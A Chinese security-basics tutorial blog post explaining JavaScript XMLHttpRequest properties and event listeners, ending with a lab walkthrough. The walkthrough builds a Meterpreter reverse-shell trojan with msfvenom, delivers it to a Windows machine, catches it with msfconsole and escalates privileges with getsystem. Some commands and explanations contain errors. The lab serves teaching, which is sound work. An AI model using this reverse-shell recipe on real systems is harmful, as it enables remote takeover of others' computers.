安全基础第三天: js的XMLHttpRequest和监听事件

这篇具有很好参考价值的文章主要介绍了安全基础第三天: js的XMLHttpRequest和监听事件。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、XMLHttpRequest的简介

  1. AJAX的主要步骤

(1)创建XMLHttpRequest实例

(2)发出HTTP的请求

(3)接收服务器传回的数据

(4)更新网页数据

  1. 作用

用于浏览器与服务器之间的通信,XMLHttpRequest本身是一个构造函数,它没有任何参数。

  1. 方法实例

(1)xhr.open('GET', 'http://www.example.com/page.php', true);

a.GET传参的方法

b.请求的文件

c.同步传参还是异步传参

(2)访问的过程

var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function(){
  // 通信成功时,状态值为4
  if (xhr.readyState === 4){
    if (xhr.status === 200){
      console.log(xhr.responseText);
    } else {
      console.error(xhr.statusText);
    }
  }
};

xhr.onerror = function (e) {
  console.error(xhr.statusText);
};

xhr.open('GET', 'http://127.0.0.1/3/referrer.html', true);
xhr.send(null);

先通过xhr.open进行访问,访问成功后xhr.onreadystatechange进行监听事件, 当他的通信成功为

4访问状态为200的时候,会返回xhr.responseText返回页面的源码,如果失败会返回xhr.statusText

之后传递给xhr.onerrer进行状态码的报错。

(3)成功的方式

js 监听http请求,网络安全渗透,javascript,前端,开发语言,安全,Powered by 金山文档

(4)失败的反馈

js 监听http请求,网络安全渗透,javascript,前端,开发语言,安全,Powered by 金山文档
js 监听http请求,网络安全渗透,javascript,前端,开发语言,安全,Powered by 金山文档
js 监听http请求,网络安全渗透,javascript,前端,开发语言,安全,Powered by 金山文档
  1. 同步传输和异步传输

(1)同步传输是一步一步的去进行

(2)异步传输是在干A的时候可以去做B,等A结束后B可以通过回调函数到A

二、XMLHttpRequest的实例属性

  1. XMLHttpRequest.readyState 该属性表示只读当前返回的值

(1)0,表示还没有进行调用

(2)1,表示方法还没有调用

(3)2,表示返回的头信息和状态码已经收到

(4)3,表示正在接收数据体

(5)4,便是已经完全接收

  1. XMLHttpRequest.onreadystatechange 该属性是监听函数是否发生变化

(1)在使用实例abort()方法的时候,终止XMLHttpRequest请求的时候也会触发这个属性

(2)实例

var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function () {
  if (xhr.readyState !== 4 || xhr.status !== 200) {
    console.info('done')
  }

};

xhr.onerror = function (e) {
  console.error(xhr.statusText);
};

xhr.open('GET', 'http://127.0.0.1/3/referrer.html', true);
xhr.send(null);
js 监听http请求,网络安全渗透,javascript,前端,开发语言,安全,Powered by 金山文档

两个done的原因是因为我们接收到xhr.readystate在通信状态为2和3的时候,我们的状态值已经为

200,所以出现了两次done

  1. XMLHttpRequest.response 该属性是服务器返回的数据体格式

(1)他可以返回的是任意的数据类型,比如字符串,对象,二进制对象等等

(2)当我们的通信状态为3的时候返回的是部分页面的源码

(3)实例

var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function () {
  if (xhr.readyState == 3 ) {
    console.info(xhr.response)
  }

};

xhr.onerror = function (e) {
  console.error(xhr.statusText);
};

xhr.open('GET', 'http://127.0.0.1/3/referrer.html', true);
xhr.send(null);
js 监听http请求,网络安全渗透,javascript,前端,开发语言,安全,Powered by 金山文档

出现全部返回是由于我们的页面数据太少以及是本地服务器,当我们页面数据量较大,服务器较远的

时候就会显示只出现部分的源码。

  1. XMLHttpRequest.responseType 该属性是返回数据类型

(1)在空的情况下,会默认返回的对象为文本数据

(2)“blob“:返回二进制数一般都是用在图片

(3)”json“:比如一个接口(www.oupeng.com/api/users),通过api接口查询的是我们所有的会

员,我们通过数据库查询到这个的会员,给前端返回的时候,前端一般用vue前后端分

离,我们通常在后端用json_enconde等函数将我们的数据转换为数据返回给我们的前

端,之后我们的前端通过框架将我们的数据展现给我们的用户。

(4)实例(json)

var xhr = new XMLHttpRequest();
xhr.responseType = 'json';
xhr.open('GET', 'http://127.0.0.1/3/form.php', true);
xhr.send(null);
xhr.onreadystatechange = function () {
  if (xhr.readyState == 4 && xhr.status == 200 ) {
    console.info(xhr.response)
  }
};
<?php
$arr = array('name' => "yanchuang",'old' => "30",'area' => "changan",'student' => 10000);
echo json_encode($arr);
js 监听http请求,网络安全渗透,javascript,前端,开发语言,安全,Powered by 金山文档

json对象一般都是双引号引用起来的,除了数字,上述实验的php代码是因为使用了json_encode函数将其转译为了json数据。

(5)实例二(blob)

var xhr = new XMLHttpRequest();
xhr.open('GET', './1.jpg', true);
xhr.responseType = 'blob';

xhr.onload = function(e) {
  if (this.status === 200) {
    // var blob = new Blob([xhr.response], {type: 'image/jpg'});
    //  或者
     var blob = xhr.response;
    console.info(blob)
  }
};

xhr.send();
js 监听http请求,网络安全渗透,javascript,前端,开发语言,安全,Powered by 金山文档
js 监听http请求,网络安全渗透,javascript,前端,开发语言,安全,Powered by 金山文档
  1. XMLHttpRequest.responseURL该属性表示数据请求的网址

(1)如果服务器端发生跳转,这个属性返回最后实际返回数据的网址。

(2)实例

var xhr = new XMLHttpRequest();
xhr.open('GET', './form.php', true);
xhr.onload = function () {
  // 返回 http://example.com/test
  console.log(xhr.responseURL);
};
xhr.send(null);
<?php
header("location: c.php");
js 监听http请求,网络安全渗透,javascript,前端,开发语言,安全,Powered by 金山文档

如果没有该地址

<?php
js 监听http请求,网络安全渗透,javascript,前端,开发语言,安全,Powered by 金山文档

XMLHttpRequest.responURL一般在接收我们的跳转的最后页面的网址,如果没有就只会停留在该页面

  1. XMLHttpRequest.timeout XMLHttpRequestEventTarget.ontimeout该属性适用于提高用户访问的流畅性

(1)XMLHttpRequest.timeout属性表示请求仍然没有得到结果,就会自动终止。

(2)XMLHttpRequestEventTarget.ontimeout属性表示,如果发生 timeout 事件,就会执行这个

监听函数

(3)实例

var xhr = new XMLHttpRequest();
var url = 'https://www.google.com';

xhr.ontimeout = function () {
  console.error('The request for ' + url + ' timed out.');
};

xhr.onload = function() {
  if (xhr.readyState === 4) {
    if (xhr.status === 200) {
      // 处理服务器返回的数据
      console.info(xhr.responseText);
    } else {
      console.error(xhr.statusText);
    }
  }
};

xhr.open('GET', url, true);
// 指定 10 秒钟超时
xhr.timeout = 2 * 1000;
xhr.send(null);
js 监听http请求,网络安全渗透,javascript,前端,开发语言,安全,Powered by 金山文档

当我们访问的时间超过两秒的时候我们的XMLHttpRequest.responURL就会显示我们时间超时。

xhr.ontimeout = function () {console.error('The request for ' + url + ' timed out.');};

的作用就是起到一个监听超时的作用,当我们的服务器请求超时的时候其就会返回给我们超时

  1. XMLHttpRequest监听事件

XMLHttpRequest 对象可以对以下事件指定监听函数。

(1)XMLHttpRequest.onloadstart:loadstart 事件(HTTP 请求发出)的监听函数

(2)XMLHttpRequest.onprogress:progress事件(正在发送和加载数据)的监听函数

(3)XMLHttpRequest.onabort:abort 事件(请求中止,比如用户调用了abort()方法)的监听函数

(4)XMLHttpRequest.onerror:error 事件(请求失败)的监听函数

(5)XMLHttpRequest.onload:load 事件(请求成功完成)的监听函数

(6)XMLHttpRequest.ontimeout:timeout 事件(用户指定的时限超过了,请求还未完成)的监听函

(7)XMLHttpRequest.onloadend:loadend 事件(请求完成,不管成功或失败)的监听函数

(8)实例


var xhr = new XMLHttpRequest();
var url = 'https://127.0.0.1' ;

   
   xhr.onabort = function () {
     console.log('The request was aborted');
   };
   
   xhr.onprogress = function (event) {
     console.log(event.loaded);
     console.log(event.total);
   };
   
   xhr.onerror = function() {
     console.log('There was an error!');
   };

xhr.onload = function() {
  if (xhr.readyState === 4) {
    if (xhr.status === 200) {
      // 处理服务器返回的数据
      console.info(xhr.responseText);
    } else {
      console.error(xhr.statusText);
    }
  }
};

xhr.open('GET', url, true);
// 指定 10 秒钟超时
xhr.timeout = 5 * 1000;
xhr.send(null);
  1. XMLHttpRequest.send()的post自动传参

(1)post传参实例(很重要,很重要,很重要)

var xhr = new XMLHttpRequest();

var username = 'admin'
var password = 'admin888'
var data = 'username='
  + encodeURIComponent(username)
  + '&password='
  + encodeURIComponent(password);

xhr.open('POST', './form.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(data);


xhr.onreadystatechange = function(){
  // 通信成功时,状态值为4
  if (xhr.readyState === 4){
    if (xhr.status === 200){
      console.log(xhr.responseText);
    } else {
      console.error(xhr.statusText);
    }
  }
};
<?php
var_dump($_POST);
js 监听http请求,网络安全渗透,javascript,前端,开发语言,安全,Powered by 金山文档

js自动提交,不一定必须手动提交

  1. MLHttpRequest.getResponseHeader()该属性是指返回HTTP的头信息段

(1)返回HTTP 头信息指定字段的值,如果还没有收到服务器回应或者指定字段不存在,返回null。

(2)实例

function getHeaderTime() {
    console.log(this.getResponseHeader("Last-Modified"));
  }
  
  var xhr = new XMLHttpRequest();
  xhr.open('HEAD', './test.js');
  xhr.onload = getHeaderTime;
  xhr.send();
js 监听http请求,网络安全渗透,javascript,前端,开发语言,安全,Powered by 金山文档

(3) restful_api请求规范

  1. GET: 从服务器获取资源

  1. POST: 在服务器新建一个资源

  1. PUT: 在服务器更新资源

  1. HEAD: 获取资源的数据

  1. OPTIONS: 获取信息文章来源地址https://www.toymoban.com/news/detail-686796.html

三、什么是监听

  1. 先利用kali生成一个反弹型木马

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.191.129 LPORT=12345 -f -O reverse.exe
  1. 利用python建立一个http的服务

python3 -m http.server 8899
  1. 在window10系统下载reverse.exe木马

192.168.191.129:8899
  1. 在kali上用msfconsole服务端

msfconsole
use exploit/multi/handler  
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.191.129
set lport 12345
exploit
  1. 在windows点开我们的reverse.exe文件,让其运行木马

  1. 在kali上查看

shell //连接注入的脚本
ipconfig
who am i //用户是谁
net user ieuser //用户权限
getsystem //提权
  1. 在windows查看连接状态

netstat -anp  //查看链接状态
netstat -ano | findstr "ESTAB"  //查看estaB状态的服务
tasklist /svc | findstr 1716  //查看这个进程
taskkill /F /PID 1716 //杀死这个进程

到了这里,关于安全基础第三天: js的XMLHttpRequest和监听事件的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • JS中的事件监听

    JavaScript中的事件监听是Web开发中非常重要的一个概念。它允许我们在特定的事件发生时执行特定的代码,从而实现交互效果和动态行为。本篇博客将详细介绍JavaScript事件监听的用法,并举例说明。 在JavaScript中,事件监听是通过addEventListener()方法实现的。该方法的基本语法如

    2024年02月03日
    浏览(30)
  • ethers js监听合约事件

    监听合约事件 contract.on 在ethersjs中,合约对象有一个contract.on的监听方法,让我们持续监听合约的事件: contract.on有两个参数,一个是要监听的事件名称\\\"eventName\\\",需要包含在合约abi中;另一个是我们在事件发生时调用的函数。 contract.once 合约对象有一个contract.once的监听方法

    2024年02月13日
    浏览(72)
  • js之 事件监听(鼠标、焦点、键盘、文本)

    目标 :能够给DOM元素添加事件监听 什么是事件 :事件是在编程时系统内发生的动作或者发生的事情,比如用户在网页上单击一个按钮 什么是事件监听 :        就是让程序检测是否有事件产生,一旦有事件触发,就立即调用一个函数做出响应,也称为 绑定事件或者注册事

    2024年02月14日
    浏览(25)
  • JS事件监听两种使用方法

    首先说一下什么是事件监听, 事件监听就是通过某一事物的源对象(当某种事件发生时),然后向监听器传送某种事件对象,监听器里面封装了某种事件信息,接到事件对象后进行某种处理,这就是事件监听。简单来说以学校放课铃作为事物源对象,然后放学 设置事件监听的

    2024年02月09日
    浏览(40)
  • Web.3js监听智能合约事件event

    在前端页面调用合约写入数据时不会立即返回结果,这时需要再调用获取数据的函数,使用起来非常不便,这时event就可以很好解决这样的问题。 合约代码: 声明event事件: event Deposit(address indexed _from, bytes32 indexed _id, uint _value); 触发event事件: emit Deposit(msg.sender, _id, msg.valu

    2024年02月11日
    浏览(46)
  • vue项目使用js监听浏览器关闭、刷新、后退事件

    在项目的某些页面中,在执行某些接口调用过程的时候,如果用户选择刷新、关闭或者后退浏览器。有可能会造成接口被阻断,所以可能你会需要js监听浏览器关闭、刷新、后退事件,在进行这些操作的时候给个提示。如下图: end~

    2024年02月16日
    浏览(33)
  • JS监听浏览器关闭、刷新及切换标签页触发事件

    蛮简单的东西,知道就会,不知道就不会,没什么逻辑可言。简单记录一下,只为加深点儿印象。 visibilitychange visibilitychange可以监听到浏览器的切换标签页。  直接上代码:  beforeunload  beforeunload可以监听到页面的关闭,页签切换不会触发 关闭浏览器窗口的时候触发 通过点

    2024年02月08日
    浏览(43)
  • js监听input输入事件及使用防抖封装函数处理的实现

    循序渐进: 1.实现input框的输入监听事件: 2.防抖函数 防抖函数的目的:为了限制函数的执行频率而出现,优化解决函数触发频率过高导致延迟及假死卡顿等bug的出现。大多用在查询和提交功能上。 设置时间内多次点击或者输入只会执行最后一次点击或者输入; 代码: 3.i

    2024年02月12日
    浏览(36)
  • 代码随想录第三天|链表理论基础,LeetCode203.移除链表元素, LeetCode707.设计链表,LeetCode 206.反转链表

    链表: 链表是一种通过指针串联在一起的线性结构,每一个节点由两部分组成,一个是数据域一个是指针域(存放指向下一个节点的指针),最后一个节点的指针域指向null(空指针的意思)。 链表的入口节点称为链表的头结点也就是head。 链表类型: 1.单链表 单链表中的指

    2024年02月11日
    浏览(37)
  • js判断手指的上滑,下滑,左滑,右滑,事件监听 和 判断鼠标滚轮向上滚动滑轮向下滚动

    const scrollFunc = (e) = { e = e || window.event; let wheelDelta = e.wheelDelta ? e.wheelDelta : -e.detail * 50; if (wheelDelta 0) { console.log(wheelDelta + ‘滑轮向上滚动’); let dom = document.querySelector(‘.header-contanier’); dom.style.display = ‘flex’; } if (wheelDelta 0) { console.log(wheelDelta + ‘滑轮向下滚动’); let dom =

    2024年02月12日
    浏览(34)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包